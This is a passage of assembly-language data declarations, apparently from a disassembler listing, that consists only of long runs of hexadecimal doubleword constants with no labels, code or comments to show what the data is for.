		dd 8EA34AB5h, 0A5065E3Eh, 4F08B14Ch, 0FFE950D3h, 74190009h
		dd 72CC9A44h, 0B59BFF72h, 912BC78Bh, 3DAF4D11h,	15097329h
		dd 604FCBFAh, 0D3243B1Fh, 1C496D56h, 0FB7B2A64h, 6A1F76A1h
		dd 0F073C916h, 151CA97h, 43F9CEEEh, 714C27E9h, 171545E3h
		dd 0D386305Ch, 0C908A1A4h, 4303B716h, 374AA937h, 51BEE4A3h
		dd 7E5970DBh, 92CF5CD6h, 2327E231h, 1D95115Fh, 0FEA44890h
		dd 29C1F8A5h, 4C470C19h, 3115475Eh, 4B00B756h, 7EBE522h
		dd 0F567FC53h, 4FF88C87h, 0C81A0AAh, 1232F9DAh,	0A5612B99h
		dd 48586C5Ah, 5A8FFB28h, 1C3DD34Bh, 85509644h, 5B0ADC03h
		dd 0A6AF7B5Bh, 734B8765h, 68586C6Fh, 0AB0313F4h, 0D43EDF5h
		dd 0AB3D64E3h, 6BFE8035h, 32857208h, 760060E7h,	0D1A43B01h
		dd 9ED357A8h, 4882640Ah, 0FDF3E47h, 0F4C50C7Fh,	2243712Eh
		dd 6E2E3B45h, 5780E139h, 427197F8h, 77AA75D3h, 20BB2EB0h
		dd 0D3985A57h, 2CE5120Eh, 6AEDB0D0h, 1B261AA1h,	63FD8ACEh
		dd 28BE9CD7h, 0ECCBDE52h, 0EF4FDB09h, 461EC174h, 0EB572D09h
		dd 0ED40787h, 3037FA85h, 0B5BEBDD5h, 0EB746BEAh, 0D21AE29Eh
		dd 0E5D40EB8h, 0C3EEC192h, 0AF32B7CEh, 48B00F56h, 7534DCDAh
		dd 0BA7561A5h, 0A72DCEC1h, 0A68257EDh, 428F2277h, 0BEA88EFDh
		dd 82025F23h, 0C9844DB1h, 5B2D639Fh, 5519CEBh, 0DC254639h
		dd 9D9F588Bh, 1E87DFFAh, 0A770DF5Ch, 1BAD6BEEh,	0E4FCDD82h
		dd 7D32A1F7h, 0A3E945D7h, 0F64E74EFh, 507FEA2Dh, 261044B5h
		dd 1AAC8FA0h, 0DB09122Dh, 0B8F61A66h, 7F3128E5h, 885DB984h
		dd 0D4C55D32h, 0A5B796EFh, 840FBFFFh, 3E34E912h, 15F4E0EBh
		dd 4D1E4FA1h, 64EC0F5h,	2EE8B3F6h, 0ECA1F587h, 0F669C130h
		dd 973F1889h, 7DD5EB13h, 0F6C3A434h, 5F4708C4h,	0FAEC58FCh
		dd 0A12F4FF6h, 2D86FC32h, 98E50540h, 0ABA7082Ah, 0EED4D4F8h
		dd 212F47B6h, 30FB8B8h,	15755669h, 236399D4h, 3CDF8DBAh
		dd 0B4B79FF7h, 0C519925h, 79E865D1h, 368D4B79h,	0BCD3486h
		dd 88C9FE45h, 0ECA144E9h, 0F87DA842h, 1E04A3B3h, 9D2A31F8h
		dd 560050Bh, 7207AEDAh,	0FAD0AD4Fh, 0B34C8F72h,	0DBC21253h
		dd 0F082D1AEh, 0DACEE7B9h, 6B6AAA68h, 243F6F80h, 5B6DD5E6h
		dd 33F7D76Bh, 0D3730BACh, 0E325ED63h, 987D4AFAh, 0A30618C5h
		dd 7EE52215h, 3EE08411h, 7B0499B6h, 9BCD2DB6h, 8AD09E3h
		dd 40DA4AA7h, 2BFD4D79h
		dd 936A3387h, 9A8C9308h, 4BFB7ECCh, 40AC6E42h, 9B3BBA74h
		dd 8F5A2747h, 0E288B66Dh, 0CB54E781h, 14A6D022h, 9B8DE3E6h
		dd 0A5BCAF33h, 0D5E4CD7Ah, 5413884Dh, 3D7D94C4h, 71D96836h
		dd 88469C39h, 9D383761h, 1173A3B2h, 1D4593AFh, 82BADF2Ah
		dd 8968D34Ah, 6224D57Dh, 0CD69147Ch, 0C02F6C42h, 0BAF6F349h
		dd 330D0405h, 7954CA0Dh, 0AB4ED2FEh, 2976C8A0h,	7FBEF7E5h
		dd 0FC75DB34h, 9C42C63Bh, 8E291726h, 0F86C8C9Dh, 0F4FEF71Dh
		dd 2DB0C799h, 79033DA1h, 6D500EF6h, 2B2304D6h, 44C499A6h
		dd 1D7F3D12h, 89C766CEh, 3385FE82h, 0ECB211AEh,	9DD7A578h
		dd 0CB219379h, 16A04848h, 1ED208D2h, 3C9ABFA5h,	755D2181h
		dd 852903B9h, 8FB2A861h, 5A2D0F67h, 18C40A53h, 86DF3E42h
		dd 4FA280BDh, 0C095E5A5h, 0A978A3F9h, 0F1CC2015h, 1177B80Bh
		dd 0C50AD8E7h, 3523FB35h, 0D8C0D181h, 9D76EE8Ah, 626C11DAh
		dd 5A4D03EFh, 1B60E7F1h, 26952C6Bh, 0D98AE5A1h,	2DCCE443h
		dd 8C2584B3h, 0AB3E3922h, 263D8F04h, 0A86306B5h, 5D42AD3Ch
		dd 0B3E4DA9Dh, 0AA4EA9D9h, 0A6D27D78h, 3D1CC742h, 0EB487804h
		dd 1DEF6A66h, 0E4A4CE81h, 3D7079D6h, 0CC22714Eh, 6399F2E6h
		dd 0C563866Eh, 0C105FBBDh, 94B3E9Eh, 0B2AE3124h, 0BE327CFDh
		dd 9E8DD9FAh, 2AA7F706h, 1F921D2Ch, 8B05187Dh, 51C5457Dh
		dd 0F217307Fh, 0C7B2A6D3h, 98001B92h, 0CF1C9184h, 0AEA5FC5Fh
		dd 0D8C729F0h, 0AC5A29D8h, 0A1661A6Dh, 8A2730B7h, 284AECF3h
		dd 1A5B0441h, 0CB1E1014h, 7920886Dh, 6B2AA9FCh,	0FEA1B583h
		dd 76CB2C5Dh, 65EBF607h, 0E6EBDB8Eh, 0DA9C5E07h, 0D538E152h
		dd 2ABD26F2h, 0A7DD6BABh, 21C95838h, 2C27E193h,	328E050Bh
		dd 0B2AA6CE1h, 581F7E51h, 3648A542h, 2F1413FFh,	925C4FEBh
		dd 0A27D1E59h, 3534D85Ah, 29B45045h, 49F1C8E1h,	0EC0749D0h
		dd 5C71BEA6h, 9E4985F0h, 0B5D15146h, 0CD980883h, 0A4005A23h
		dd 873C2681h, 0B650D1F4h, 0DD0168FDh, 9C12EA43h, 148EF663h
		dd 0B166CC90h, 5704E6BEh, 348E138Ch, 0BAEA8264h, 0FBA5541h
		dd 0C526BCE4h, 0E6CAA411h, 0DABE7BD7h, 9E531995h, 638E4AEEh
		dd 951190DDh, 8FACB8C7h, 0C2F9A0EAh, 0DB50465Ah, 0AE0900A6h
		dd 94775729h, 0B3A5C1FCh, 0BA1E8338h, 0BADCAA7Dh, 2E4E8A5Eh
		dd 9042BD6Eh, 4F08CE0Ah, 33BC5C3Eh, 4BCF0264h, 0B6ABC517h
		dd 591DF441h, 135546F1h, 754F7F5Bh, 0E9201243h,	573BCFACh
		dd 1F0E221Dh, 41DBE907h, 0E2D95D43h, 2E6BAA76h,	8FC7E020h
		dd 0A787E0E9h, 6BB79F7Fh, 5825327Ah, 0A72F63A0h, 0F23C60A9h
		dd 6B000B7Dh, 6E7F1B9Ah, 0E2A4744Eh, 0BBC4449Dh, 544B7E7h
		dd 0A62F33D0h, 5FF10A0Ah, 334DD55h, 380DDAD7h, 0FF47DA1Fh
		dd 51F1F4C2h, 3FAD8CAh,	49421D82h, 980E0DC0h, 0E5306E38h
		dd 92CECC5Fh, 69BE35A3h, 2B9770Eh, 0BA60021Bh, 26403B3Ch
		dd 555DAAF5h, 0F5732E1Ch, 0CA2775A3h, 824BCA20h, 88CF9A96h
		dd 8D940826h, 0C4E11D22h, 74EDA027h, 0D9D96D91h, 383E646Eh
		dd 0C9CDEA98h, 4EF626A2h, 24479410h, 93D222AAh,	0F6DE5B5Eh
		dd 71DFB502h, 0AC7E6C92h, 2E8A0625h, 4A8B977Ch,	18EC2FBEh
		dd 954152D6h, 77D25372h, 0C52123F9h, 0FBF4B5E1h, 489BC910h
		dd 83D0C1ECh, 0FEB37769h, 592A3E7Eh, 37A909DDh,	0F8FFBA84h
		dd 0BDBAF562h, 0AA624D35h, 6AF36F75h, 9B576095h, 0AE3D1C79h
		dd 70A52453h, 3762DA91h, 63A45FE6h, 407F1572h, 0E75FC3FCh
		dd 0E2A07EF4h, 259AC333h, 13621A9Bh, 0D38B3406h, 0EE1C0BCh
		dd 0BB7F0FB6h, 859CC594h, 0E32E9AABh, 36E511Dh,	0A9C08DD4h
		dd 9F728D53h, 3CE0AB76h, 0DB5E687Ch, 87AD73E6h,	0B9E95682h
		dd 7386892h, 472CCDD1h,	7386D00Eh, 0E3D427C6h, 0EFFBC7B0h
		dd 0FF021B60h, 0F5B2C2Ch, 0BEB78AF9h, 386D4186h, 282AB0D4h
		dd 3801E955h, 0A48BB078h, 0A5B9C88Dh, 0C87D55CDh, 0E4403EF6h
		dd 0E3B48173h, 1495DFD5h, 89BEE63Ah, 0B799A152h, 0F0F0DD13h
		dd 72A12912h, 0D5EA508Fh, 0F6E002CAh, 0C51C762Ch, 0D10CFD23h
		dd 418389Ah, 7E30AB8Ch,	0C10681AAh, 0B48C2B9h, 10278EF4h
		dd 3BB84ADCh, 37CDAB09h, 192C7412h, 5F236AA8h, 0BCFA7C23h
		dd 4ACE1759h, 242B7089h, 50718895h, 0FFEC8C7Eh,	0CC1FACF8h
		dd 0CC2FC5A7h, 0E98A5753h, 14B4FE22h, 0BED20775h, 9C3860BEh
		dd 0A4533F0Fh, 2C7A01A1h, 0E9E1A1E2h, 0B42CFF10h, 1665744Eh
		dd 42B2A55Ch, 70A81734h, 5B3AFDBAh, 0D66BDD20h,	20A39510h
		dd 0B96F1C4Fh, 3A0511A9h, 0BBFC2AABh, 0D1F24786h, 0A872B419h
		dd 2F1BD110h, 0FB8C1759h, 0B86D8EFDh, 62F099ECh, 0BF0A65FCh
		dd 73114FADh, 0E1CD158Fh, 0E408133Bh, 0C1589894h, 0F78A7A83h
		dd 1190650Bh, 0C6337330h, 14ADB91Dh, 0B79BD2A7h, 4F245CD5h
		dd 0C00D86Ch, 0F79506AFh, 0F1102E97h, 379E585Bh, 44BCBE0Dh
		dd 0B35D3CBFh, 595F90D9h, 8D1A7399h, 760349FCh,	12C006D2h
		dd 0BE2CDC84h, 0C9EE9D91h, 8B3AFC52h, 0AD396284h, 4DAB96AFh
		dd 322FC326h, 0B8D5555Bh, 822FF40Fh, 0FA521431h, 0B83E5F2Bh
		dd 5A89989Dh, 0DB2E94E2h, 6D6743C9h, 955C2676h,	1DBA4AD3h
		dd 4F07449Bh, 2CC070B2h, 62691113h, 0F1C809Dh, 0EB787EB7h
		dd 54E46840h, 95B4E430h, 534AD9AEh, 9E2CD6A7h, 0C6F83713h
		dd 6AC0F5AEh, 0C1BE289Ch, 0ADD6F5C2h, 0BA67386Eh, 0D5B7904Dh
		dd 0C873BE87h, 6584EA60h, 0F4EC3F05h, 0FAA352B6h, 4E4EE014h
		dd 24E87864h, 88670899h, 36A5CA41h, 2BC59EFFh, 0AE4D4016h
		dd 5A0A61FAh, 1726CADEh, 2A37D9E2h, 305BBC15h, 0BC8DE78h
		dd 0D4DFDC51h, 0F423E7F6h, 0A30B8BB5h, 732676BEh, 85A766D7h
		dd 0B4E42BCAh, 0EADDA44Ah, 0B4710B22h, 8A0722E8h, 4BC7B255h
		dd 3A80E3D7h, 5CA0A218h, 0AFC4FC4h, 3F1F0C34h, 0CFA3D52h
		dd 0A1C959A6h, 0EF3B0C57h, 59D65386h, 0FC13615Bh, 0E6D23D63h
		dd 6C7C9504h, 9E4012ABh, 9343ACD1h, 439BA0CEh, 45E80E2Ah
		dd 52C868Eh, 61932362h,	0E30F37CEh, 0B63D064Dh,	11EA619h
		dd 0B20564Eh, 0EA10E570h, 0E08D3A10h, 0CE5F1CDh, 11E96EF5h
		dd 7C95E829h, 477411BAh, 0DA63CF7Ch, 0DD1B1BE6h, 6FBB4168h
		dd 0DF99B37Eh, 65DAAFF0h, 92ABC707h, 3263870Eh,	0EC56A55h
		dd 0B73D3E9Dh, 0BEA770C8h, 0E366BA53h, 0E6C8F4A4h, 2DC88506h
		dd 0FB348FABh, 6F91A0A1h, 6DFBC4F9h, 1D607EF5h,	0C37EC938h
		dd 0AEE6628h, 0CAFBC9ECh, 1E90CC09h, 4F464358h,	4673066Bh
		dd 80685157h, 97379EFh,	503973DFh, 80FC79B7h, 57F52822h
		dd 73372CE4h, 40BEEAE3h, 0E559791h, 9A8A5474h, 0BDEA7EBBh
		dd 0D8E4B7A9h, 54234133h, 83B1AC97h, 8345FAA5h,	0A6418DC3h
		dd 0F9AA1C9Eh, 0B552E260h, 4AE20487h, 62DF728Fh, 16196EEBh
		dd 0CAA29D1Ch, 4B3E10E0h, 20757530h, 45DC1FF3h,	0AC31CF16h
		dd 1723C070h, 0D7FDF68Ch, 966B0881h, 7873F8F6h,	1902708h
		dd 0F3F3E202h, 9C2DE0BEh, 3FE28804h, 3241A28Fh,	4846E981h
		dd 0CB5DD3E5h, 7EF5643Fh, 0CD3B1739h, 120DA494h, 15028BDh
		dd 9E48B7E4h, 0F3F3D450h, 0A528B640h, 2F6984BEh, 0B65F167Fh
		dd 27189C63h, 0FFBF5AAEh, 0CA234F85h, 199FABEDh, 4A855423h
		dd 75366AEDh, 634894D8h, 0AEC5FCE7h, 169F4D9Fh,	0F99C6439h
		dd 3FA424FDh, 9315003Eh, 0E458BFB7h, 2A451083h,	1F792540h
		dd 13EE8B0Fh, 0F06FA2E6h, 5E887476h, 3ED08FBAh,	16C0CC6h
		dd 55E881D3h, 0D785097Ah
		dd 3376B4BBh, 1CD4867Ah, 677305F9h, 67BEAF02h, 47937C55h
		dd 9922C9DDh, 3FB95CCCh, 65B7BF8Bh, 589845A1h, 0BBCD6E2h
		dd 525CDDE6h, 914F83ACh, 0A0A8984Ah, 30D23CF0h,	0CA81F704h
		dd 6169E4C2h, 650AC1C7h, 4FD58636h, 0DB9D7240h,	57BD2F3Eh
		dd 4D4DD1CBh, 462CB08Dh, 18216FD0h, 0E77072B9h,	2C2414C1h
		dd 44D3DB62h, 3A696C72h, 40DB23B4h, 156B965Ch, 0F6C87661h
		dd 0D3BE2594h, 0FDB95EC9h, 0E14805EBh, 3D02B43Eh, 6E3E46FEh
		dd 77365C85h, 11782B20h, 0FC0CD253h, 0BB1EDFEDh, 5BFC1D6Dh
		dd 480322CFh, 0F8C1427Fh, 22B9FEA0h, 7C886832h,	9A386E8Dh
		dd 652790B8h, 744C4CF7h, 9DB68E36h, 2D5C5468h, 0CC95070Fh
		dd 0BCD4DEF2h, 8A64163Fh, 0D970FBCDh, 61686C44h, 19B31F50h
		dd 0BFCD1A5Ah, 0ACF7E407h, 2B6DD4F3h, 1B32FCA2h, 20F551C0h
		dd 0DD0FF204h, 774BF1A0h, 110F7D55h, 6D5A6160h,	3307CEDAh
		dd 1DBF9500h, 0B8E7715Bh, 41AD0C3h, 15994A2Bh, 6B4DCE8Dh
		dd 0A26C12CDh, 0BE705191h, 0B64166E0h, 5083070Eh, 0DD0CC420h
		dd 2E907A2h, 49428458h,	5B4116D8h, 330B421Eh, 2288B380h
		dd 84452673h, 7D50D9EBh, 684F14A5h, 689B6E12h, 64028294h
		dd 71E1190Ch, 0CE709951h, 0D4B0A69Ah, 3845A750h, 249E30F1h
		dd 0C89D4272h, 3D73F0BEh, 1EF295CEh, 2228044Bh,	0BBF9858Ah
		dd 5FBC5642h, 3596F804h, 0C8F700BFh, 0AF556EA1h, 8B6A1A71h
		dd 0CC61116Ah, 31DF0EF0h, 9C391608h, 0BF0E23EAh, 6BBF6971h
		dd 6AB46228h, 0FB780FCAh, 0D81B1AC5h, 441EAA97h, 3F4E9044h
		dd 0A8D52293h, 0D88B87E3h, 2D19D30Dh, 2D5B886Ch, 8705D4E2h
		dd 42291339h, 4988A781h, 0C6333DFEh, 518B2EC5h,	0B937FE31h
		dd 3BDDDD83h, 0D16EA9ACh, 54A28B76h, 7DCE526Bh,	67ECE7EDh
		dd 0CB4D3E4h, 0D9940F2h, 3607F94Bh, 851B20B3h, 0F77965CBh
		dd 0D4DFD5Eh, 47B3F9DEh, 5785B997h, 0F93AD5EDh,	0BDF10D76h
		dd 525680D9h, 1D362D1Eh, 63EF849Eh, 53A64451h, 8997305Bh
		dd 24238007h, 0CF72A01Bh, 0AB74A6BAh, 45227C71h, 0E1003268h
		dd 6C1EB479h, 12DA3B07h, 7BC732E4h, 4A67E3E3h, 0F308F918h
		dd 29EB5F0Eh, 0E8D848B3h, 0C4D823F3h, 1214B782h, 0B40D7770h
		dd 24C96857h, 4FA6A091h, 0DE7ABE43h, 8EA775A0h,	0D2D138FFh
		dd 3EF426Bh, 30398E4Bh,	34A40079h, 4946B99Bh, 245FCDBEh
		dd 2CAECD86h, 55809551h, 553992A9h, 2F14AFFBh, 89A14529h
		dd 2A256BBDh, 9DD3C2AAh, 31DFDA79h, 0ACD510B5h,	140BE2DFh
		dd 0E7DE4FD6h, 0B22634F6h, 0C1DFCB30h, 49760B33h, 0FAA61923h
		dd 0D776EA93h, 0ED9703DBh, 0CD064D2Fh, 751127BFh, 6BB86779h
		dd 0CF5A9EB1h, 70388971h, 9DB0B8DAh, 0D20D1739h, 33422AC2h
		dd 95CEC5EDh, 37CB10C5h, 0B4AE5352h, 0EFC46D8h,	0A73E82B4h
		dd 8C270420h, 2981A745h, 0EFF1F454h, 39D2E161h,	0B2054C77h
		dd 0F9035E77h, 782B327Dh, 1FEE24CBh, 9117FBC9h,	24BD31B4h
		dd 58CBF615h, 0BD6876B0h, 0B7C6C46Fh, 17B87C52h, 851F01Bh
		dd 0EB1F52F6h, 6828EE2Ah, 0C2A86739h, 8186F270h, 90157393h
		dd 0D4EA4637h, 516B5BB6h, 700411CFh, 0F900A0BAh, 13E8D8F7h
		dd 0BB28134Ch, 0B685AF96h, 176BD1D0h, 31498EC5h, 0F9F129BCh
		dd 6CA42A34h, 0B0E92C6h, 1AA77646h, 1FBD325Bh, 76F4D0B0h
		dd 50E8D8C1h, 8AB9200h,	0FF79A406h, 0DDD79D37h,	0B2163A48h
		dd 2F2B2CD3h, 24F67515h, 23D18214h, 85222BA1h, 5686CFC8h
		dd 0C7D5BAB7h, 0A085FA78h, 0D58D5678h, 0A76313A1h, 3C268E5Ah
		dd 0FA029DCh, 222CB1D3h, 8832222Ah, 86C4FF09h, 5609FB33h
		dd 0F93EE489h, 7F66F0FAh, 0CFCC4067h, 3CD0D48Fh, 59C5DE37h
		dd 0DB464662h, 0A1C779B2h, 0E0DBC1B2h, 0FFF3CF25h, 88E543AAh
		dd 638418CCh, 52D2690Fh, 84D7C312h, 1D9BBCF3h, 0D1FCD6CFh
		dd 0A8DC0724h, 37C88122h, 72357FDAh, 0C9C0276Fh, 8D0B88A2h
		dd 9F5E866h, 0E1B8ACEBh, 0EA6D8E14h, 0E736968Fh, 0BFFDDE89h
		dd 7D167B10h, 6B4D9D02h, 0D0ACA924h, 177B69C1h,	0A153310Ch
		dd 922B4B0Fh, 45FF0429h, 86695A57h, 0DC5A5A10h,	0B75BAA79h
		dd 73A3DB8Bh, 7475A8BAh, 0C31C66A8h, 8DEF7C40h,	0F4AE6A1Ch
		dd 35B7163Bh, 6B7D46C1h, 0EA298987h, 9362521Eh,	2BD2EC81h
		dd 7AE16066h, 757A69D0h, 77C40943h, 0B434070Bh,	7B050972h
		dd 51870323h, 0E112367Dh, 0E80E9CCDh, 7B050A9h,	0C1950398h
		dd 0CAFC5289h, 0A2663F04h, 7FD08B6Ah, 0B38EB48Eh, 32391C5Eh
		dd 5F61F64Eh, 1BE66682h, 0FFC13D65h, 33224C23h,	368F1377h
		dd 9274B959h, 978DFCFAh, 2F3EA24Eh, 4A696CDCh, 0C2BFD64Ah
		dd 0BFDEAE22h, 0C6BAE181h, 3F9149EBh, 0D0452F49h, 69069603h
		dd 0AE80C0E7h, 0CC6B0B3Dh, 0B4176418h, 0E420B9D4h, 0B6D3A3D9h
		dd 9CB374BDh, 916CC092h, 87790ADBh, 48F6D240h, 0B446EF5h
		dd 533D5259h, 0E9D2D97h, 964B7928h, 44A83C21h, 0D05C3402h
		dd 59BF1679h, 912E0D39h, 9EBCFE7Dh, 17EC2594h, 3ED76755h
		dd 0C33BCE26h, 20894DB3h, 0C6A0EE0Bh, 5EACF12Eh, 0B83C6CECh
		dd 706989F8h, 0C288BA6h, 1A2D68ABh, 315FAD77h, 0FB112364h
		dd 9BD14B1Eh, 1A10C6EAh, 0F8021F87h, 248E81C1h,	78AEE245h
		dd 9620615Ah, 0CF895EE1h, 9DA6D4BDh, 0AFBC8D2Eh, 0C4B1B5DFh
		dd 4D09FF65h, 92B839ABh, 9C7F09A8h, 98CF8045h, 2684AA24h
		dd 8C60A079h, 2C0E5951h, 0F95B404Fh, 5376E2BEh,	7A508FE8h
		dd 43516DAAh, 8DE84760h, 0CF8AAA08h, 133A95C5h,	0FE656F47h
		dd 0D21F53F5h, 94E6774h, 919204D7h, 77260970h, 0ADDFC6BDh
		dd 79C53481h, 0B05249BCh, 50102CBEh, 2D95AB34h,	920EFD65h
		dd 84D1BFFCh, 5EC9F081h, 6DC2A1C3h, 5A6B0182h, 127902B7h
		dd 17D4A52Dh, 3E07166Ah, 9B1919B7h, 5A62529Ch, 0DD921753h
		dd 0BC2DD4F5h, 882D788h, 4EE7A047h, 0E59A577Bh,	0B5A6105Ah
		dd 62B0CA86h, 0C19C13FAh, 0E07652D1h, 0C6BD7492h, 14AB7BCh
		dd 431685E0h, 38C1AB8Dh, 26A073B1h, 6BFD68A0h, 7616D93Ch
		dd 0F99DFA01h, 180C30F6h, 66F957B2h, 5D4F248h, 5214E703h
		dd 303F44DCh, 0EDA0968Bh, 0A8F1271h, 4F4C46F4h,	0C6843266h
		dd 0C1AFF826h, 3499350Ch, 4029BC64h, 0C297844Ah, 504B2891h
		dd 0F6A04DEBh, 15019966h, 33A7B379h, 0A28AE977h, 0B735454Ch
		dd 21743922h, 0D6EE3F33h, 0FF79B209h, 55AF42F3h, 0FAFC64DBh
		dd 0FE4061F1h, 2E5FEAC0h, 0B381F3F4h, 0A0DE4E34h, 1C945DE6h
		dd 0BCC7FFC3h, 11C16F70h, 0A90B819h, 0D9B2FCBEh, 7160C13Ah
		dd 0B3167950h, 1FFCF80Eh, 8FD936EFh, 1D87D4E3h,	6B22401Bh
		dd 645BE017h, 0ADFC83D5h, 12525922h, 81246863h,	14270E2Fh
		dd 541D4F09h, 0A412C40h, 249FC489h, 59F6D204h, 835BDA6Eh
		dd 39C26AC0h, 9F949BCFh, 12757004h, 365D2C60h, 41D0CD33h
		dd 8E99D64Ch, 0EE68076Fh, 8EF649CFh, 9BDAE9E4h,	189DC32Ch
		dd 7441959Ch, 0FAA155Dh, 215B5ECDh, 26396473h, 3A00A1Ch
		dd 0A60308BDh, 6E7FF33h, 2994601Eh, 4A670A45h, 6DCA4CCAh
		dd 35C6EDC7h, 0CF88BEA8h, 0E07FC131h, 8958FFB0h, 61472046h
		dd 2F6825F3h, 78E85CBEh, 747B930Eh, 0AC266093h,	7FD25C71h
		dd 5FE65F8Bh, 6216CEAAh, 775A16B6h, 0C6B6F50Fh,	2A59CAB7h
		dd 63009226h, 1C1CDC93h, 0C6487173h, 0E189B6C0h, 63A99A0Bh
		dd 0BE1C477Bh, 26C0D246h, 31D6E71Eh, 7B0ECD5Eh,	5BECBE1Dh
		dd 0F2B3307Bh, 3496645h
		dd 0DB6DB083h, 15684B12h, 85A1D104h, 5B78BCF3h,	3298E1A7h
		dd 0A5F02E32h, 302F33ECh, 4E096C23h, 0CF70602Eh, 654864B3h
		dd 0FF180B8h, 2CBB894Bh, 0ECB686C4h, 0AFB52CD7h, 97A4427Ah
		dd 98585B47h, 4845AB5Ah, 4F8D74BCh, 6A1804BBh, 1185255Ah
		dd 275D7598h, 15FBC5B4h, 2618DE47h, 0A639D962h,	8A115884h
		dd 7BAA9AC8h, 88BFD79Ah, 0E8A373A8h, 0AE48430h,	0F3B4ED53h
		dd 374AF9B6h, 5CF4A039h, 0BA7B9802h, 0F78B765Bh, 0DD9A5C9Ch
		dd 961DD09Dh, 0C136629Eh, 0CD096473h, 0E6A85ACAh, 7C57C61Fh
		dd 7F20C8CEh, 0AA3A6CCAh, 6A2674E7h, 18B82554h,	0E121A5E1h
		dd 0AFD6D08Bh, 77FD63EBh, 0B34186D5h, 8EF9DD8Fh, 0A2AEB815h
		dd 4A428A49h, 51893B46h, 3F7E7D56h, 0BB30BA82h,	0F223BD42h
		dd 0B0DA855Eh, 0C5434F44h, 56F835EAh, 1BEE48ECh, 0F42DEDA4h
		dd 0A3788AC3h, 0F3061B01h, 0C665675Dh, 20B80499h, 0BA177C32h
		dd 33E76BADh, 6AD51558h, 0F29B296Fh, 4D1FB6A5h,	3111B200h
		dd 0D0EE4894h, 0F65BE73Bh, 9E96CC84h, 0C94D1F9Eh, 7A511522h
		dd 801405h, 809473A1h, 3CE7F0A2h, 0DDAC56AEh, 0F097BB34h
		dd 750C4EDFh, 0C15F960Bh, 0A989F155h, 7486C5C4h, 0C8137BB3h
		dd 0E29EBB6Ch, 7AC7A0BDh, 0E7655A71h, 6AB1F515h, 71EFD6BEh
		dd 10DB2F10h, 0A79564B9h, 42C399BAh, 441F0A8Eh,	0A589F77Eh
		dd 55DE1563h, 521CDBD0h, 0D719E887h, 2673CD0Ch,	73166669h
		dd 75A88983h, 0C325082Fh, 0F1C2422Bh, 1B2F56AEh, 0CBACE7Fh
		dd 0CA4968F3h, 89DBFC6Eh, 27F6EEC0h, 0F49FA07Ch, 94A80D3Ah
		dd 3269253Fh, 94EA9483h, 0D5B950D5h, 0F98F8E41h, 52E9523Dh
		dd 0B5E62E8h, 4490B8D9h, 2F97BBC2h, 0E980C3D2h,	0F52DEFDh
		dd 5ED1150Eh, 11498437h, 0CF63F50Fh, 36C28854h,	6DB6A2B0h
		dd 998ED63Ah, 12F82197h, 5243D7E3h, 9DF7E005h, 0A0798610h
		dd 0F3BDC392h, 4FDD8D9Fh, 0D5594D3h, 0F9361053h, 8952ADEEh
		dd 0B452FDD0h, 0E78D8098h, 0A7234AB6h, 43D44445h, 9F7C0867h
		dd 75609B58h, 2124D37Bh, 0B7336B5h, 1A18BED4h, 0B9FF40DCh
		dd 0F783AA2Eh, 6A7299Bh, 31A6268Ah, 54540ACFh, 9C930C1h
		dd 0E15F2C6Fh, 0FEB597C9h, 908E3210h, 762A8783h, 0E73324B4h
		dd 0FB777D92h, 0EFC40D72h, 0B55DF22Bh, 3A0C6A3Bh, 0C9F741F0h
		dd 834ADDEDh, 7166F855h, 0EE331E38h, 718F169h, 0EC50B195h
		dd 1220EEF0h, 8FDC4B86h, 3D446A1Ah, 30E66D40h, 17D0A560h
		dd 0E3A91B72h, 78A690BCh, 3E94B5D4h, 0FABA66D8h, 4763A61Dh
		dd 0ED63568Ch, 3FD420B1h, 43D6E6B4h, 5C2B76EFh,	4175659Ah
		dd 1DA4ACB4h, 8107A3B8h, 6BC6FC3Ah, 0F54383EAh,	0DE4D544Ch
		dd 7525157Eh, 7CD1B90Fh, 475E0D28h, 0BA36541h, 0E56FDE1Dh
		dd 0BF782DD2h, 80C29381h, 0E32986F1h, 318FEB29h, 0C2D3425Eh
		dd 5F7821DFh, 0B0F8669Bh, 4F233B11h, 71F8593h, 4C187B23h
		dd 0A69F15BDh, 0E95EFBD9h, 4FA3F6F9h, 0BFF2A72Eh, 7787FD44h
		dd 56814DF5h, 392C431Ch, 411F80B2h, 0C694D04Fh,	3D85CB10h
		dd 97059DC1h, 0FB6589A8h, 9CE1F88h, 0EE739B1Fh,	4C43A1C3h
		dd 9133A2F9h, 0D279EA14h, 3490B692h, 8F6DD29Fh,	0DD2198F4h
		dd 12CFA0FBh, 0C9E167D0h, 0AF5CAD33h, 0D80CB6A8h, 435DE7DCh
		dd 0B2194823h, 1FA555F8h, 23F2F9CDh, 4D0D4F0Fh,	0ECD2DB8Dh
		dd 3F403AFh, 316C6ACEh,	8E41AA18h, 0ED57D9AFh, 0C9251680h
		dd 0F140EDC3h, 5B2E5504h, 77CCEE9Ch, 2E837Bh, 0C2C800C0h
		dd 0B972711Ch, 0EB58DD72h, 0CDFDDD27h, 251BA1E0h, 0B8943CACh
		dd 0B88DD623h, 63C8387h, 0D8C7308Bh, 0ABA412F3h, 4E45A18h
		dd 2967034h, 3F3FF51Dh,	336FAB11h, 984F0647h, 50C75B7Fh
		dd 90B735D5h, 9B49E650h, 226D65D4h, 4B46054Fh, 0BC35DDA8h
		dd 6A2298Fh, 4F64ABD1h,	1C9461FCh, 0DA4A3DF8h, 4C230C10h
		dd 102EF212h, 38CF80B1h, 0CAAC209Bh, 0E347DD5Ch, 2CD02202h
		dd 4685B57Ch, 8B631966h, 0B718B5E3h, 84A02A81h,	0B0849AE6h
		dd 0CF0347A2h, 0ED4311BCh, 7DF74AAAh, 0F1F20F33h, 0CA676E25h
		dd 739C19E6h, 706F95D4h, 0EF7ECB68h, 5CB09575h,	0A462A6BAh
		dd 0F4F5F713h, 4F500CC5h, 27855C78h, 76444306h,	52819244h
		dd 3EE3E782h, 6239591Ch, 64E2BAA3h, 0B2864311h,	0CC0B1921h
		dd 62B27C79h, 5C410083h, 1203693h, 8661F31Eh, 1DF6D329h
		dd 0DE20A044h, 0B1FE4B12h, 0CF138AC7h, 0DE2A6BD4h, 0E37B32C8h
		dd 0E6B74F70h, 2CEC8C56h, 0D2FF8565h, 2CBF3E7Ah, 0D1A6A537h
		dd 9404A967h, 71D0735Fh, 0C91044Fh, 8F66EF12h, 358D8863h
		dd 0E03E9179h, 0DD754B1Fh, 0E9B1572Ch, 0B85BBFD1h, 7BA0DD44h
		dd 0D955C1F5h, 0A4DBB38Fh, 1D65A8CAh, 5621A69Dh, 0E7AA0944h
		dd 2380CF6Ch, 0AAA90A79h, 1F4ED365h, 388A0705h,	7F25B3E7h
